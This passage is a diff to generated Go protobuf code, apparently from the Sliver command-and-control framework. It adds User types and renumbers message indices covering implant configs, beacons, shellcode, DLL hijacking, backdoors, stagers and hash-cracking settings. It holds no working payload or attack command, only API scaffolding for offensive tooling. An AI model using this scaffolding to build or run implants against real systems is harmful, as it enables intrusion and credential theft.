0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, + 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, + 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, + 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, + 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, + 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, + 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, + 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, + 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, + 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, + 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, + 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, + 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, + 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, + 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, + 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, + 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, + 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, + 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, + 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, + 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, + 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, + 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, + 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, + 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, + 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, + 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, + 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, + 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, + 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, + 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, + 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, + 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, + 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, + 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, + 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, + 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, + 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, + 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, + 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, + 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, + 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, + 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, + 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, + 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, + 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, + 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, + 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, + 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, + 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, + 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, + 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, + 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, + 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, + 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, + 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, + 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, + 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, + 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, + 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -11411,7 +11539,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 12) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 116) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 118) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -11426,231 +11554,234 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (CrackWorkloadProfile)(0), // 10: clientpb.CrackWorkloadProfile (CrackFileType)(0), // 11: clientpb.CrackFileType (*Version)(nil), // 12: clientpb.Version - (*ClientLogData)(nil), // 13: clientpb.ClientLogData - (*ImplantCommand)(nil), // 14: clientpb.ImplantCommand - (*HistoryRequest)(nil), // 15: clientpb.HistoryRequest - (*History)(nil), // 16: clientpb.History - (*Session)(nil), // 17: clientpb.Session - (*Beacon)(nil), // 18: clientpb.Beacon - (*Beacons)(nil), // 19: clientpb.Beacons - (*BeaconTask)(nil), // 20: clientpb.BeaconTask - (*BeaconTasks)(nil), // 21: clientpb.BeaconTasks - (*ImplantC2)(nil), // 22: clientpb.ImplantC2 - (*ImplantConfig)(nil), // 23: clientpb.ImplantConfig - (*TrafficEncoder)(nil), // 24: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 25: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 26: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 27: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 28: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 29: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 30: clientpb.ImplantBuilds - (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler - (*Compiler)(nil), // 33: clientpb.Compiler - (*MetasploitModule)(nil), // 34: clientpb.MetasploitModule - (*MetasploitCompiler)(nil), // 35: clientpb.MetasploitCompiler - (*DeleteReq)(nil), // 36: clientpb.DeleteReq - (*DNSCanary)(nil), // 37: clientpb.DNSCanary - (*Canaries)(nil), // 38: clientpb.Canaries - (*UniqueWGIP)(nil), // 39: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 40: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 41: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 42: clientpb.RegenerateReq - (*Job)(nil), // 43: clientpb.Job - (*Jobs)(nil), // 44: clientpb.Jobs - (*KillJobReq)(nil), // 45: clientpb.KillJobReq - (*KillJob)(nil), // 46: clientpb.KillJob - (*MTLSListenerReq)(nil), // 47: clientpb.MTLSListenerReq - (*MTLSListener)(nil), // 48: clientpb.MTLSListener - (*WGListenerReq)(nil), // 49: clientpb.WGListenerReq - (*WGListener)(nil), // 50: clientpb.WGListener - (*DNSListenerReq)(nil), // 51: clientpb.DNSListenerReq - (*DNSListener)(nil), // 52: clientpb.DNSListener - (*HTTPListenerReq)(nil), // 53: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 54: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 55: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 56: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 57: clientpb.TCPPivot - (*HTTPListener)(nil), // 58: clientpb.HTTPListener - (*Sessions)(nil), // 59: clientpb.Sessions - (*RenameReq)(nil), // 60: clientpb.RenameReq - (*GenerateReq)(nil), // 61: clientpb.GenerateReq - (*Generate)(nil), // 62: clientpb.Generate - (*MSFReq)(nil), // 63: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 64: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 65: clientpb.StagerListenerReq - (*StagerListener)(nil), // 66: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 67: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 68: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 69: clientpb.MsfStagerReq - (*MsfStager)(nil), // 70: clientpb.MsfStager - (*GetSystemReq)(nil), // 71: clientpb.GetSystemReq - (*MigrateReq)(nil), // 72: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 73: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 74: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 75: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 76: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 77: clientpb.PivotGraph - (*Client)(nil), // 78: clientpb.Client - (*Event)(nil), // 79: clientpb.Event - (*Operator)(nil), // 80: clientpb.Operator - (*WebContent)(nil), // 81: clientpb.WebContent - (*WebsiteAddContent)(nil), // 82: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 83: clientpb.WebsiteRemoveContent - (*Website)(nil), // 84: clientpb.Website - (*Websites)(nil), // 85: clientpb.Websites - (*WGClientConfig)(nil), // 86: clientpb.WGClientConfig - (*Loot)(nil), // 87: clientpb.Loot - (*AllLoot)(nil), // 88: clientpb.AllLoot - (*IOC)(nil), // 89: clientpb.IOC - (*ExtensionData)(nil), // 90: clientpb.ExtensionData - (*Host)(nil), // 91: clientpb.Host - (*AllHosts)(nil), // 92: clientpb.AllHosts - (*DllHijackReq)(nil), // 93: clientpb.DllHijackReq - (*DllHijack)(nil), // 94: clientpb.DllHijack - (*BackdoorReq)(nil), // 95: clientpb.BackdoorReq - (*Backdoor)(nil), // 96: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 97: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 98: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 99: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 100: clientpb.ExternalGenerateReq - (*Builders)(nil), // 101: clientpb.Builders - (*Builder)(nil), // 102: clientpb.Builder - (*Credential)(nil), // 103: clientpb.Credential - (*Credentials)(nil), // 104: clientpb.Credentials - (*Crackstations)(nil), // 105: clientpb.Crackstations - (*CrackstationStatus)(nil), // 106: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 107: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 108: clientpb.CrackBenchmark - (*CrackTask)(nil), // 109: clientpb.CrackTask - (*Crackstation)(nil), // 110: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 111: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 112: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 113: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 114: clientpb.CrackCommand - (*CrackConfig)(nil), // 115: clientpb.CrackConfig - (*CrackFiles)(nil), // 116: clientpb.CrackFiles - (*CrackFile)(nil), // 117: clientpb.CrackFile - (*CrackFileChunk)(nil), // 118: clientpb.CrackFileChunk - nil, // 119: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 120: clientpb.ImplantBuilds.ConfigsEntry - nil, // 121: clientpb.WebsiteAddContent.ContentsEntry - nil, // 122: clientpb.Website.ContentsEntry - nil, // 123: clientpb.Host.ExtensionDataEntry - nil, // 124: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 125: clientpb.CrackSyncStatus.ProgressEntry - nil, // 126: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 127: clientpb.Crackstation.BenchmarksEntry - (*commonpb.Request)(nil), // 128: commonpb.Request - (*commonpb.Response)(nil), // 129: commonpb.Response - (*commonpb.File)(nil), // 130: commonpb.File + (*Users)(nil), // 13: clientpb.Users + (*User)(nil), // 14: clientpb.User + (*ClientLogData)(nil), // 15: clientpb.ClientLogData + (*ImplantCommand)(nil), // 16: clientpb.ImplantCommand + (*HistoryRequest)(nil), // 17: clientpb.HistoryRequest + (*History)(nil), // 18: clientpb.History + (*Session)(nil), // 19: clientpb.Session + (*Beacon)(nil), // 20: clientpb.Beacon + (*Beacons)(nil), // 21: clientpb.Beacons + (*BeaconTask)(nil), // 22: clientpb.BeaconTask + (*BeaconTasks)(nil), // 23: clientpb.BeaconTasks + (*ImplantC2)(nil), // 24: clientpb.ImplantC2 + (*ImplantConfig)(nil), // 25: clientpb.ImplantConfig + (*TrafficEncoder)(nil), // 26: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 27: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 28: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 29: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 30: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 31: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 32: clientpb.ImplantBuilds + (*CompilerTarget)(nil), // 33: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 34: clientpb.CrossCompiler + (*Compiler)(nil), // 35: clientpb.Compiler + (*MetasploitModule)(nil), // 36: clientpb.MetasploitModule + (*MetasploitCompiler)(nil), // 37: clientpb.MetasploitCompiler + (*DeleteReq)(nil), // 38: clientpb.DeleteReq + (*DNSCanary)(nil), // 39: clientpb.DNSCanary + (*Canaries)(nil), // 40: clientpb.Canaries + (*UniqueWGIP)(nil), // 41: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 42: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 43: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 44: clientpb.RegenerateReq + (*Job)(nil), // 45: clientpb.Job + (*Jobs)(nil), // 46: clientpb.Jobs + (*KillJobReq)(nil), // 47: clientpb.KillJobReq + (*KillJob)(nil), // 48: clientpb.KillJob + (*MTLSListenerReq)(nil), // 49: clientpb.MTLSListenerReq + (*MTLSListener)(nil), // 50: clientpb.MTLSListener + (*WGListenerReq)(nil), // 51: clientpb.WGListenerReq + (*WGListener)(nil), // 52: clientpb.WGListener + (*DNSListenerReq)(nil), // 53: clientpb.DNSListenerReq + (*DNSListener)(nil), // 54: clientpb.DNSListener + (*HTTPListenerReq)(nil), // 55: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 56: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 57: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 58: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 59: clientpb.TCPPivot + (*HTTPListener)(nil), // 60: clientpb.HTTPListener + (*Sessions)(nil), // 61: clientpb.Sessions + (*RenameReq)(nil), // 62: clientpb.RenameReq + (*GenerateReq)(nil), // 63: clientpb.GenerateReq + (*Generate)(nil), // 64: clientpb.Generate + (*MSFReq)(nil), // 65: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 66: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 67: clientpb.StagerListenerReq + (*StagerListener)(nil), // 68: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 69: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 70: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 71: clientpb.MsfStagerReq + (*MsfStager)(nil), // 72: clientpb.MsfStager + (*GetSystemReq)(nil), // 73: clientpb.GetSystemReq + (*MigrateReq)(nil), // 74: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 75: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 76: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 77: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 78: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 79: clientpb.PivotGraph + (*Client)(nil), // 80: clientpb.Client + (*Event)(nil), // 81: clientpb.Event + (*Operator)(nil), // 82: clientpb.Operator + (*WebContent)(nil), // 83: clientpb.WebContent + (*WebsiteAddContent)(nil), // 84: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 85: clientpb.WebsiteRemoveContent + (*Website)(nil), // 86: clientpb.Website + (*Websites)(nil), // 87: clientpb.Websites + (*WGClientConfig)(nil), // 88: clientpb.WGClientConfig + (*Loot)(nil), // 89: clientpb.Loot + (*AllLoot)(nil), // 90: clientpb.AllLoot + (*IOC)(nil), // 91: clientpb.IOC + (*ExtensionData)(nil), // 92: clientpb.ExtensionData + (*Host)(nil), // 93: clientpb.Host + (*AllHosts)(nil), // 94: clientpb.AllHosts + (*DllHijackReq)(nil), // 95: clientpb.DllHijackReq + (*DllHijack)(nil), // 96: clientpb.DllHijack + (*BackdoorReq)(nil), // 97: clientpb.BackdoorReq + (*Backdoor)(nil), // 98: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 99: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 100: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 101: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 102: clientpb.ExternalGenerateReq + (*Builders)(nil), // 103: clientpb.Builders + (*Builder)(nil), // 104: clientpb.Builder + (*Credential)(nil), // 105: clientpb.Credential + (*Credentials)(nil), // 106: clientpb.Credentials + (*Crackstations)(nil), // 107: clientpb.Crackstations + (*CrackstationStatus)(nil), // 108: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 109: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 110: clientpb.CrackBenchmark + (*CrackTask)(nil), // 111: clientpb.CrackTask + (*Crackstation)(nil), // 112: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 113: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 114: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 115: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 116: clientpb.CrackCommand + (*CrackConfig)(nil), // 117: clientpb.CrackConfig + (*CrackFiles)(nil), // 118: clientpb.CrackFiles + (*CrackFile)(nil), // 119: clientpb.CrackFile + (*CrackFileChunk)(nil), // 120: clientpb.CrackFileChunk + nil, // 121: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 122: clientpb.ImplantBuilds.ConfigsEntry + nil, // 123: clientpb.WebsiteAddContent.ContentsEntry + nil, // 124: clientpb.Website.ContentsEntry + nil, // 125: clientpb.Host.ExtensionDataEntry + nil, // 126: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 127: clientpb.CrackSyncStatus.ProgressEntry + nil, // 128: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 129: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 130: commonpb.Request + (*commonpb.Response)(nil), // 131: commonpb.Response + (*commonpb.File)(nil), // 132: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 128, // 0: clientpb.ImplantCommand.Request:type_name -> commonpb.Request - 128, // 1: clientpb.HistoryRequest.Request:type_name -> commonpb.Request - 14, // 2: clientpb.History.Commands:type_name -> clientpb.ImplantCommand - 129, // 3: clientpb.History.Response:type_name -> commonpb.Response - 18, // 4: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 20, // 5: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 22, // 6: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 7: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 130, // 8: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 130, // 9: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 119, // 10: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry - 24, // 11: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder - 26, // 12: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest - 23, // 13: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 130, // 14: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 120, // 15: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 0, // 16: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat - 31, // 17: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget - 32, // 18: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler - 31, // 19: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 34, // 20: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule - 34, // 21: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule - 37, // 22: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 23, // 23: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 40, // 24: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 43, // 25: clientpb.Jobs.Active:type_name -> clientpb.Job - 128, // 26: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 129, // 27: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 128, // 28: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 129, // 29: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 17, // 30: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 23, // 31: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 130, // 32: clientpb.Generate.File:type_name -> commonpb.File - 128, // 33: clientpb.MSFReq.Request:type_name -> commonpb.Request - 128, // 34: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 35: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 36: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 130, // 37: clientpb.MsfStager.File:type_name -> commonpb.File - 23, // 38: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 128, // 39: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 23, // 40: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 41: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 128, // 42: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 128, // 43: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 128, // 44: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 17, // 45: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 76, // 46: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 76, // 47: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 80, // 48: clientpb.Client.Operator:type_name -> clientpb.Operator - 17, // 49: clientpb.Event.Session:type_name 